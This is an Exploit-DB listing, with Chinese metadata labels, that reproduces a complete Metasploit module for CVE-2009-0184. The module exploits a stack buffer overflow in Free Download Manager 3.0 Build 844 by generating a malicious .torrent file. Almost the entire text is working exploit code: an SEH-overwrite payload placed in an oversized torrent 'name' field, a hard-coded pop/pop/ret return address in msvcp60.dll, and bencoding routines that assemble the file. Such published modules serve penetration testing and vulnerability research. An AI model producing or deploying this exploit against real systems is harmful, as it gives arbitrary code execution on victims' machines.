标题: Free Download Manager - '.Torrent' File Parsing Multiple Buffer Overflow Vulnerabilities (Metasploit) EDB-ID: 10009 CVE: 2009-0184 类型: LOCAL 平台: WINDOWS 发布日期: 2009-11-11 漏洞利用脚本: ##
# $Id: fdm_torrent.rb 7455 2009-11-10 21:52:17Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::Remote::Seh
        
 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Free Download Manager Torrent Parsing Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Free Download Manager
     3.0 Build 844. Arbitrary code execution could occur when parsing a
     specially crafted torrent file.
   },
   'License'        => MSF_LICENSE,
   'Author'         => 'jduck',
   'Version'        => '$Revision: 7455 $',
   'References'     =>
    [
     [ 'CVE', '2009-0184' ],
     [ 'OSVDB', '54033' ],
     [ 'BID', '33555' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'seh',
    },     
   'Payload'        =>
    {
     'Space'    => 1024,
     'DisableNops'   =>  'True',
     'BadChars' => "\x00",
     'StackAdjustment' => -3500,
     'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
    },
   'Platform' => 'win',
   'Targets'        => 
    [
     [ 'Free Download Manager 3.0 (Build 844)',
      {
       'Ret' => 0x7605112c # pop/pop/ret @ msvcp60.dll
      }
     ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'February 2 2009',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('FILENAME', [ true, 'The file name.',  'msf.torrent']),
   ], self.class)
 end

 def exploit
  x = ""

  bof = rand_text_alphanumeric(10004) + generate_seh_payload(target.ret)
  # hit the end of the stack...
  bof << rand_text(20000)
  
  len = rand(10*1024*1024)
  info_hash = {
   'length' => len,
   'name' => bof,
   'piece length' => len + rand(262144 - len),
   'pieces' => rand_text(20),
  }
    
  ann_hash = {
   'info' => info_hash,
  }
    
  encoded = bencode_hash(ann_hash)
  
  print_status("Creating '#{datastore['FILENAME']}' file ...")

  file_create(encoded)
  
 end
 
 # bencoding functions:
 #
 # http://wiki.theory.org/BitTorrentSpecification
 #
 def bencode_string(str)
  ret = "%d:" % str.length
  ret << str
  return ret
 end

 def bencode_int(int)
  ret = "i%de" % int
  return ret
 end

 def bencode_item(item)
  case item
  when Fixnum
   return bencode_int(item)
  when String
   return bencode_string(item)
  when Hash
   return bencode_hash(item)
  else
   throw("unsupported bencode data type! " + item.testzt)
  end
 end
 
 def bencode_list(list)
  ret = "l"
  list.each do |el|
   ret << bencode_item(el)
  end
  ret << "e"
  return ret
 end

 def bencode_hash(hash)
  ret = "d"
  hash.keys.sort.each do |k|
   ret << bencode_item(k)
   ret << bencode_item(hash[k])
  end
  ret << "e"
  return ret
 end
 
end URL: https://www.exploit-db.com/exploits/10009